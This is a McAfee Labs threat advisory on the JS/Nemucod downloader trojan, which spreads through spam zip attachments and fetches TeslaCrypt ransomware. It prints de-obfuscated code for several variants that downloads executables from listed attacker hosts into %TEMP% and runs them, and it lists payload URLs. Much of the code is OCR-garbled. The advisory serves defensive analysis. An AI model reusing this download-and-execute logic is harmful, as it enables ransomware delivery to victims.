McAfee Labs Threat Advisory

JS/Nemucod

June 22, 2018

McAfee Labs periodically publishes Threat Advisories to provide customers with a detailed analysis of prevalent
malware. This Threat Advisory contains behavioral information, characteristics, and symptoms that may be used to
mitigate or discover this threat, and suggestions for mitigation in addition to the coverage provided by the DATS.

To receive a notification when a Threat Advisory is published by McAfee Labs, select to receive “Malware and
Threat Reports” at the following URL: https://sns.secure.mcafee.com/signup_login.

Summary

JS/Nemucod is a JavaScript downloader trojan that targets users through malware spam campaigns. JS/Nemucod
downloads additional malware and executes it without the user’s consent. JS/Nemucod usually arrives on an
infected machine through malicious spam emails with .zip extensions. When a user opens the .zip file and double
clicks the JavaScript, the default browser (Internet Explorer, Mozilla, etc.) opens and executes JavaScript.

Detailed information about the threat, its propagation, characteristics, and mitigation are in the following sections:

Infection and Propagation Vectors
Mitigation

Characteristics and Symptoms
Restart Mechanism

Remediation

McAfee Foundstone Services

Infection and Propagation Vectors

The infection chain starts with a spam email that contains a malicious .zip file with a JavaScript (.js) file in it. The
contents of the email are carefully designed to lure users using social engineering techniques.

s K4

Spam E-mail Malicious Javascript Teslacrpt as payload
as attacment

i

4 B-'P""E:b'

Fig. 1: Nemucod Infection chain

Upon opening the attached .zip file, and double-clicking the JavaScript file inside it, the default browser opens and
executes the JavaScript which downloads other malware. As per the current observation, JS/Nemucod is now
downloading TeslaCrypt Ransomware. Previous JS/Nemucod variants were downloading malware such as Miruef,
Crowti, etc.



https://sns.secure.mcafee.com/signup_login

For more information about downloaded malware, refer to the following Threat advisories:
e TeslaCrypt Ransomware: https://kc.mcafee.com/corporate/index?page=content&id=PD25854
e Crowti (CryptoWall): https://kc.mcafee.com/corporate/index?page=content&id=PD25480
e Protecting against Cryptolocker, CryptoWall & TeslaCrypt:
https://kc.mcafee.com/corporate/index?page=content&id=PD25203

The spam email may arrive to the victim machine as shown in the following example:

& Silas Edwards - Unicode (UTF-B) =] S
2 File Edit A Tl Massage Help ,ﬂ-
& @& -8 = XX Q 7
Reply Reply all Forward Frint Delete Previous
From Silas Edwards
Drate: Monday, December 14, 2015 9:03 A

Tox
Subject: Sias Edwards
Attach: ||]J Silas Edwards. zip (2.02 EB)

Hi, my name iz Silas Edwards
Fleaze find my resume in the attachment

Smncerely,

Silas Edwards

Fig. 2: Spam email

The malware uses spam as a propagation vector, which comes with an attachment in the form of a .zip file.
The following are some example .zip file names:

E-ZPass_Invoice 00000485134.zip
Court_Notification_0000067774.zip
Silas Edwards.zip.00000002.zip
Frachtbrief 270053 am 18.11.2015.zip
invoice_LZWh50.zip
invoice_EBxuqi.Zip

Mitigation

Mitigating the threat at multiple levels such as file, registry, and URL can be achieved at various layers of McAfee
products. Browse the product guidelines available here to mitigate the threats based on the behavior described
below in the Characteristics and symptoms section.

Refer the following KB articles to configure Access Protection rules in VirusScan Enterprise:

KB81095 - How to create a user-defined Access Protection Rule from a VSE 8.x or ePO 5.x console
KB54812 - How to use wildcards when creating exclusions in VirusScan Enterprise 8.x



https://mysupport.mcafee.com/Eservice/ProductDocuments.aspx?
https://kc.mcafee.com/corporate/index?page=content&id=KB81095
https://kc.mcafee.com/corporate/index?page=content&id=KB54812

Basic rules on handling emails:

Email from unknown senders should be treated with caution. If an email looks strange, do the following: ignore it,
delete it, and never open attachments or click on URLs. Opening file attachments, especially from unknown
senders, harbors risks.

Never click links in emails without checking the URL. Many email programs permit the actual target of the link to be
seen by hovering the mouse over the visible link without actually clicking on it (called the mouse-over function).

Never respond to spam emails. A response lets the fraudsters know that the address they wrote to is valid.

HIPS

e To blacklist applications using a Host Intrusion Prevention custom signature, refer to KB71329.

e To create an application blocking rules policies to prevent the binary from running, refer to KB71794.

e To create an application blocking rules policies that prevents a specific executable from hooking any other
executable, refer to KB71794.

*** Disclaimer: Use of *.* in an access protection rule would prevent all types of files from running and being
accessed from that specific location. If specifying a process path under Processes to Include, the use of wildcards
for Folder Names may lead to unexpected behavior. Users are requested to make this rule as specific as possible.

Because this malware uses spam attachments to spread, users may want to follow some other mitigation
procedures to avoid this threat:

Instruct users to not open unknown or unsolicited attachments.

Ensure Microsoft Office Security policies for macros are set to High or Very High.

Ensure GTl is enabled on gateway devices and endpoints.

Ensure there are no allow list policies that exempt .doc/.docx attachments from spam/AV scanning.

Users of the following products may want to check if GTI is enabled in order to block the IP addresses being used
to send spam:

SaaS

Email and Web Security 5.6

Email Gateway (7.x or later) 7.5

Email Gateway (7.x or later) 7.0
GroupShield for Microsoft Exchange 7.0.x

Desktop users need to enable the Outlook plugin and also install the Site Advisor browser plugin to detect the
spam attachment before it is opened and block access to the malicious domains.



https://kc.mcafee.com/corporate/index?page=content&id=KB71329
https://kc.mcafee.com/corporate/index?page=content&id=KB71794
https://kc.mcafee.com/corporate/index?page=content&id=KB71794
https://kc.mcafee.com/corporate/index?page=content&id=KB74650

Characteristics and Symptoms:

On analyzing some of the new variants of Nemucod, we found that these JavaScript files have two layers of
obfuscation as shown below:

» Variant 1:

The obfuscated variant code looks as shown in Figure 3:
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Fig. 3: Obfuscated JavaScript code

After successfully de-obfuscating the first level obfuscated code, we could see the clear JavaScript Code as shown
in Figure 4:

function 1rMPEExno{uuaPPBSvzRn> {

var dhiKZgPD = WScript.CreateObject("Wscript.Shell'>;
dhWKEgPD_Run{unaPPBSuzRn,. Bx1,. BxB>;

>

h Ternytoud.con 88.exe? igonnafuckyougood.com 88.exe? J? ? ?"_split(

bum ={{1 " #*mLu3136281526n21475u H35§I?3eUlZ*7)"WSCPl"'“")*"pt Shell®:

-3 WScript.CreateObject(hum>;

mh U TEMPx SN 5

Jel s .ExpandEnvironmentStrings (mh;

Huf = new Hct;yeHOhJect("Scr1pt1ng"/*uEunR21hcfH*/+" File"+/%3HKxI IR=-"SystemObhject™>;
RrZf = jtU+"MQLF=BHYN";

HuS CreateFolder{RrZf);
FocatchCuKQgxo »{

ufec FEj TTP"'
c) = true ., Sfkg = "ADOD’
Zh = WScript.CreateObject("ME"+"{ML " +(804794, wfc));
W UScrlpt CPeateOhJect(kag + "B_St"+(6328%6,. “ream'd;

M
quSkZC

2
Cvar J= 1U J(h.length, J++dr £
kk = B;

Zh.opentpoi. "http-//"*h[J]+H false?; Zh.send<(>; if (Zh.status == 347-147> {

X¥QJ.openCr; EQJ._type = 1; XQJ.write(Zh.responzeBodyd; if (XQJ.size > 2508328-738)> {

kk = 1; R@J.position = B; HQJ._saveToFile/*nHDu?8fvsix/(RrZf - *3IDchbIIpnrT*/ tNxuSkZC+" _ exe' 4-23; try
if (<<new Date()>>H,7780026888>> {

1rHPEExno (RrZf +NxuSkZC+/*HUg2BFMhllz*/" _exe ' *Cze [17RGhL* ) ;

?Peak;

>
gatch D> £
i; BQJ.closeC>;

Fig. 4: 1st level of De-obfuscated code




JS/Nemucod uses the Windows API “ExpandEnvironmentStrings” method to get the path of the “%temp%” folder
location to download the final payload. After getting the path of the temp folder, it creates a folder with a random
name (“MQLfzBH” as highlighted in Figure 4). It then tries to download the binary payload from one of the URLs
present in the script (in this case: fernytowd.com/80.exe or igonnafuckyougood.com/80.exe) as highlighted in
Figure. 4.

After the crafted JavaScript downloads the malicious file, it will start executing the same.
> Variant 2

The obfuscated variant code looks as shown in Figure 5:
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Fig. 5: Obfuscated JavaScript code

After successfully de-obfuscating the first level obfuscated code, we could see the clear JavaScript Code as shown
in Figure 6:

var b = "vancebasilio.com ikengadewgroup.org cup-h-coin.con”.split(™ 7);

wvar ws = Wicript.Createlbject|("Wicript.3hell™):
var fn = wa.ExpandEnvironment3trings ("3TEMP:™) + String. fromCharCode (92) + 73945097 ;
wvar xo = Wicript.Createlbject | "M3xMLE.XMLHTTE™) ;
wvar xa = Wicript.Createlbject | ADODE. 3trean™) ;
var 1d = 0;
for (var n = 1; n <= 3; n++) {
for (wvar i = ld i < b.length; i++) {
wvar dn = 0;
try
¥o.open ("GET™, "http:/ /" + b[i] + "Afcounter/2id=" 4+ str + "srnd=637603" + n, false):;
®xo.send():
if [(®xo.status == 2Z00) {
®a.openi):
¥a.type = 1:
¥a.Write (xo.responsebody) ;
if (®a.size > 1000}
dn = 1:
¥a.position = 0;
xa.saveToFile(fn + n + ".exe™, 2);
try
ws.Puni(fn + n + ".exe”, 1, 0);
y v catch (er) {i:
®a.closel):
1:
if (dn == 1) {
1d = 1i;
break:
3 ca%ch [er) {}:
bi
b:

Fig. 6: 1st level of De-obfuscated code




In the second variant, JS/Nemucod uses the “ExpandEnvironmentStrings” method to get the path of the “%temp%”
location to download the final payload. After getting the temp location, it uses the GET method and other
parameters to download the binary payload from one of the compromised URLSs present in the script
(vancebasilio.com, etc.).

» Variant 3

The third variant uses Base-64 encoded script to download the payload. The Base64 encoded script is
highlighted in Figure 7:

H[DT[(
- 1))-41

Fig.7 : Base-64 encoded string

After decoding the base-64 encoded code, we could see the clear JavaScript Code as shown in Figure 8:

Fig. 8: Base-64 decoded script




> Variant 4

The obfuscated variant code looks as shown in Figure 9:

Fig. 9: Obfuscated code

After successfully de-obfuscating the first level obfuscated code, we could see the clear JavaScript Code as shown
in Figure 10:

function dl{fr, fn., xrn) {
var ws — new ActivelObject ("WScript.Shell™) ;
var fn = wsg.ExpandEnvironmentStrings ("%TEMP%") + String.fromCharCode (92) + fn:
var xg = new ActivelXObject ("MSYMLZ.YMLHTTP") ;
xn-onreadvstatechangs = function() {
if (x0.readyState =—— 4) {
var xa = new ActiveXObject ("ADODB.Stream™) ;
xa.open() ;
xa.type = 1;
xa.write (x¢.ResponseBody) ;
xa.position = 0;
xa.saveToFile (fn, 2);
xa.close () ;
bi
bi
try {
xo.open ("GET", fr, false);
x0.send() ;
if (zn > 0) {
ws.Run(fn, 0, 0);
i
} eatch (er) {}:
}
dl("http://pinporings.com/img/script.php?ibdl.jpg", "3274935.egxe", 1):
Q%{"http:ffpinporinqs.com/imqfsaript.php?ibd2.ﬁpq“, "4573205.exe", 1)
dl{"http: inporings.com/img/script.php?ibd3. j ", "2954869.gxs", 1) ;

Fig. 10: Deobfuscated code




List of compromised sites that host the JS/Nemucod payload:

washawaydesctrucion.com/80.exe
ifyougowegotoo.com/80.exe
whatdidyaysay.com/97.exe
iamthewinnerhere.com/97.exe
fernytowd.com/73.exe
igonnafuckyougood.com/73.exe
fernytowd.com/89.exe
igonnafuckyougood.com/89.exe
whatdidyaysay.com/80.exe
iamthewinnerhere.com/80.exe
miracleworld1.com/91.exe
firstwetakemanhat.com/91.exe
fernytowd.com/80.exe
areyouwevenlisten.com/80.exe
firstwetakemanhat.com/80.exe
miracleworld1.com/80.exe
igonnafuckyougood.com/80.exe
fernytowd.com/69.exe
areyouwevenlisten.com/69.exe
washawaydesctrucion.com/90.exe
ifyougowegotoo.com/90.exe
gammus.com/89.exe
areyouwevenlisten.com/89.exe
gammus.com/80.exe
whatdidyaysay.com/73.exe
iamthewinnerhere.com/73.exe
firstwetakemanhat.com/69.exe
miracleworld1.com/69.exe
beatifulgdfodr.com/80.exe
whatdidyaysay.com/69.exe
iamthewinnerhere.com/69.exe

Restart Mechanism

The downloaded Tescrypt payload creates an auto-start registry entry to ensure its copy will be executed upon
reboot.

Remediation

The detection for this malware family is added to the database and would be available from DAT 8031. A Full Scan
with updated DATS can remove the infection from the machine. McAfee Labs is actively downloading these
variants as JS/Nemucod.* variants and the downloaded Tescrypt payload as Ransom-Tescrypt!<partial hash>.

Getting Help from the McAfee Foundstone Services team

This document is intended to provide a summary of current intelligence and best practices to ensure the highest
level of protection from your McAfee security solution. The McAfee Foundstone Services team offers a full range of
strategic and technical consulting services that can further help to ensure you identify security risk and build
effective solutions to remediate security vulnerabilities.

You can reach them here: https://secure.mcafee.com/apps/services/services-contact.aspx

This Advisory is for the education and convenience of McAfee customers. We try to ensure the accuracy,
relevance, and timeliness of the information and events described; they are subject to change without notice.

U McAfee

Together is power.
Copyright 2018 McAfee, Inc. All rights reserved
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